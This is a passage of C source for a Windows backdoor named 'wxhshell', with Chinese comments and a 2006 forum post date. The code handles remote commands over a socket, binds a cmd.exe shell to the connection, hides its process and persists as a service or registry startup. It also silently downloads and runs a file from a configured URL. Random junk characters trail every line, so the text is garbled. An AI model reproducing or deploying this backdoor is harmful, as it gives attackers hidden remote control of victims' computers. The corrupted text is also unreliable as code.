  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;AW/& Ea  
  else ]yu,YZ@7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s!S,;H  
  } 3&i8C,u]/O  
  else { Cw;&{jY  
4 4%jz-m  
    switch(cmd[0]) { ]}z;!D>  
  Cr0 \7  
  // 帮助 JmN,:bI  
  case '?': { s)Sa KE*d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 63:0Vt>hZ^  
    break; #k? Rl  
  } | rJ_  
  // 安装 T8Sgu6:*R  
  case 'i': { N{Og; roGD  
    if(Install()) A6w/X`([O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -f?Rr:#  
    else !1<x@%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pKK&+umg  
    break; etF?,^)h=g  
    } `K[:<p}  
  // 卸载 EN@LB2  
  case 'r': { E:BEQ:(~L  
    if(Uninstall()) i[FcY2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pNpj, H*4  
    else 9_IR%bm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uYjJDLYoHl  
    break; <LM<,  
    } [;B_ENV  
  // 显示 wxhshell 所在路径 2 =tPxO')B  
  case 'p': { 20gPx;  
    char svExeFile[MAX_PATH]; 6suB!XF;  
    strcpy(svExeFile,"\n\r"); ]7kq@o/7  
      strcat(svExeFile,ExeFile); ~D@pk>I  
        send(wsh,svExeFile,strlen(svExeFile),0); HN>eS Y+  
    break; K8*QS_*  
    } J)(H-xvV  
  // 重启 R =HN>(U  
  case 'b': { /:dVW" A|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W.p->,N  
    if(Boot(REBOOT)) Lc^nNUzPo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bj` cYL%  
    else { HC w$v#  
    closesocket(wsh); [ANit0-~  
    ExitThread(0); :7Mo0,Bw,  
    } jM J[6qj  
    break; Y5LESZWo  
    } sBp|Lo  
  // 关机 <Xw 6m$fr:  
  case 'd': { Mr:*l`b_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 18w[T=7)  
    if(Boot(SHUTDOWN)) 4,f[D9|:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q"8)'dL'  
    else { Sw#Ez-X  
    closesocket(wsh); S|;a=K&hS  
    ExitThread(0); ;3\F b3d  
    } lsW.j#yE!  
    break; x[nv+n ,  
    } hX)r%v:  
  // 获取shell uW;Uq=UN  
  case 's': { 3leg,q d  
    CmdShell(wsh); _ %&"4bm.  
    closesocket(wsh); ?>q=Nf^Q.  
    ExitThread(0); v Xio1hu  
    break; [gzU / :  
  } -j3 -H&  
  // 退出 } 3:TPW5S  
  case 'x': { <)Kjf/x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EN.yU!N.4  
    CloseIt(wsh); 2EE/xnwX  
    break; U'-MMwE]  
    } l=9 &  
  // 离开 DJ} xD&G  
  case 'q': { %9mB4Fc6b)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %n}fkj'  
    closesocket(wsh); mm#U a/~1u  
    WSACleanup();  +KFK..  
    exit(1); k`)LO`))  
    break; l0D.7>aj  
        } Si]Z`_  
  } +Q-~~v7,  
  } +*0THol-  
::H jpM  
  // 提示信息 oE)c8rE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QH\*l~;B\  
} Rz=]KeZu  
  } qwFn(pK[  
D4#,9?us  
  return; <S$y=>.9  
} l'16B^  
k})9(Sy~  
// shell模块句柄 ;o^m"I\y  
int CmdShell(SOCKET sock) |xKB><  
{ P\zi:]h[Gh  
STARTUPINFO si; 3;:xEPb._6  
ZeroMemory(&si,sizeof(si)); :+Dn]:\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fI$, ?>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bjT0Fi0-  
PROCESS_INFORMATION ProcessInfo; +Z;0"'K'e  
char cmdline[]="cmd"; *c3 o&-ke9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |um)vlN;9  
  return 0; qA30z%#z_  
} r1?LKoJOn  
n.1a1Tf  
// 自身启动模式 wkm SIN:  
int StartFromService(void) HKxrBQr78  
{ T3?kabbF  
typedef struct ~{NDtB)  
{ D1g1"^~g  
  DWORD ExitStatus; A(s/Nz>  
  DWORD PebBaseAddress; ;N1FP*  
  DWORD AffinityMask; P2s0H+<  
  DWORD BasePriority; m",bfZ  
  ULONG UniqueProcessId; q?0goL  
  ULONG InheritedFromUniqueProcessId; z.H`a+cl  
}   PROCESS_BASIC_INFORMATION; O-'T*M>  
)7`~U"r  
PROCNTQSIP NtQueryInformationProcess; XqwdJND  
WYzY#-j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <s{/ka3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z'j<wRf  
!EW]: u  
  HANDLE             hProcess; 1)Ag|4  
  PROCESS_BASIC_INFORMATION pbi; ,}|V'y  
<_Lo3WGwc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d z\b]H]  
  if(NULL == hInst ) return 0; b QeYFY#^  
7SM/bJ-M#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D@ lJ^+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E nUo B<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]E3g8?L  
~G$OY9UC  
  if (!NtQueryInformationProcess) return 0; 9"aTF,'F/  
vaU7tJ:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o. _^  
  if(!hProcess) return 0; h7w<.zwu t  
DxD0iJ=W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V,"'k<y  
@kK=|(OB'  
  CloseHandle(hProcess); Z:OO|x  
0qZ)$ YKq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +Q9HsfX/  
if(hProcess==NULL) return 0; ditzl(L   
~@O4>T+VW  
HMODULE hMod; INT2i8oU  
char procName[255]; 0t&H1xsxX  
unsigned long cbNeeded; *~"`&rM(  
)}aF=%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aD^MoB3  
t5qAH++axN  
  CloseHandle(hProcess); C G7 LF  
7lpVK]  
if(strstr(procName,"services")) return 1; // 以服务启动 5 6R,+sN  
~_&.A*Jh  
  return 0; // 注册表启动 u0e#iX  
} Y^G3<.B  
 R pbl)  
// 主模块 t<7WM'2<y  
int StartWxhshell(LPSTR lpCmdLine) 2uTa}{/%  
{ `3KprpE8v  
  SOCKET wsl; aFym&n\  
BOOL val=TRUE; ^m=%Ctu#  
  int port=0; [:'n+D=T3M  
  struct sockaddr_in door; O+$70   
*J=ol  
  if(wscfg.ws_autoins) Install(); l1[IXw?  
THp `!l  
port=atoi(lpCmdLine); a*hThr+$M  
o~K2K5I  
if(port<=0) port=wscfg.ws_port; &^H "T6  
_XZ=4s  
  WSADATA data; ni> ;8O]=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; < &2,G5XA  
Q(6(Scp{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :ct+.#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "BRE0Ir:  
  door.sin_family = AF_INET; l/^-:RRNKi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C":\L>Ax  
  door.sin_port = htons(port); zTB9GrU  
p#d UL9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M<unQ1+wh  
closesocket(wsl); )mdNvb[*n  
return 1; Jf$wBPg  
} y7OG[L/  
zIFL?8!H9{  
  if(listen(wsl,2) == INVALID_SOCKET) { H\mVK!](D  
closesocket(wsl); ;vdgF  
return 1; dO,05?q|  
} [{F7Pc  
  Wxhshell(wsl); [r8 d+  
  WSACleanup(); GuWBl$|+b  
C4tl4df9  
return 0; 2hJ3m+N^  
Mqp68%  
} --`LP[ll  
+3>/,w(x  
// 以NT服务方式启动 I%919  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `YNC_r#tG  
{ p0y?GNQ  
DWORD   status = 0; f+Medc~  
  DWORD   specificError = 0xfffffff; Q+(:n)G_6E  
K=TW}ZO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7 afA'.=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MIF[u:&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wmxw!   
  serviceStatus.dwWin32ExitCode     = 0; Os 2YZ<t  
  serviceStatus.dwServiceSpecificExitCode = 0; ,7jiHF  
  serviceStatus.dwCheckPoint       = 0; r/sRXM:3cZ  
  serviceStatus.dwWaitHint       = 0;  _np>({  
*9Js:z7I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KH>sCEt  
  if (hServiceStatusHandle==0) return; !9LAXM  
F>kn:I"X)  
status = GetLastError(); ?>jArzI  
  if (status!=NO_ERROR) >ha Ixs`9  
{ TL{pc=eBo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OXX(OCG>  
    serviceStatus.dwCheckPoint       = 0; Pq\V($gN  
    serviceStatus.dwWaitHint       = 0; Bj($_2M%+  
    serviceStatus.dwWin32ExitCode     = status; Po!JgcJ#\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7WfirRM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k,iV$,[TF  
    return; ae#HA[\0G  
  } t>GLZzO  
"jJdUFN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |DPpp/  
  serviceStatus.dwCheckPoint       = 0; 1\J1yOL  
  serviceStatus.dwWaitHint       = 0; $_7d! S"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9 roth  
} $CwTNm?  
\v P2B  
// 处理NT服务事件,比如:启动、停止 k&_u\D"^"%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u:H 3.5)%  
{ ]#-/i2-K  
switch(fdwControl) 0/00 W6r0  
{ <_{4-Q>S3#  
case SERVICE_CONTROL_STOP: (:bCOEZ  
  serviceStatus.dwWin32ExitCode = 0; 2\CkX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L5qCv -{  
  serviceStatus.dwCheckPoint   = 0; 0CVsDVA  
  serviceStatus.dwWaitHint     = 0; (T#(A4:6S  
  { ny_ kr`$42  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9s6>9hMb)  
  } -k[tFBl w  
  return; >-|90CSdSJ  
case SERVICE_CONTROL_PAUSE: %=mwOoMk0L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k1Mxsd  
  break; %f> |fs  
case SERVICE_CONTROL_CONTINUE: qqt.nrQ^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C(1A8  
  break; W "\tkh2  
case SERVICE_CONTROL_INTERROGATE: )4F/T,{;m  
  break; CMxjX  
}; u388Wj   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B[/['sD  
} ^I0GZG  
HHIUl,P  
// 标准应用程序主函数 o|^?IQ7bpf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 400Tw`AiJ  
{ sg6w7fp>  
At[n<8_|  
// 获取操作系统版本 q{De&Bu  
OsIsNt=GetOsVer(); j#nO6\&o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ekl? K~  
?<yq 2`\4O  
  // 从命令行安装 }2BH_  2  
  if(strpbrk(lpCmdLine,"iI")) Install(); K@j^gF/0B  
%X9:R'~sP  
  // 下载执行文件 */5<L99v  
if(wscfg.ws_downexe) { bUAR<R'E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T?]kF-   
  WinExec(wscfg.ws_filenam,SW_HIDE); il>x!)?o  
} \A3>c|  
/VmCN]2AZ  
if(!OsIsNt) { vA "`0  
// 如果时win9x,隐藏进程并且设置为注册表启动 2NA rE@  
HideProc(); L%o65  
StartWxhshell(lpCmdLine); RLu$$Eb  
} JJ N(M*;  
else we H@S  
  if(StartFromService()) z"s%#/#  
  // 以服务方式启动 S4{Mu(^xT  
  StartServiceCtrlDispatcher(DispatchTable); '!yS72{$2  
else kuTq8p2E  
  // 普通方式启动 9#EHXgz  
  StartWxhshell(lpCmdLine); "3Xv%U9@  
)ZgER[  
return 0; b5n]Gp  
}
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只看该作者 1 发表于: 2006-10-10
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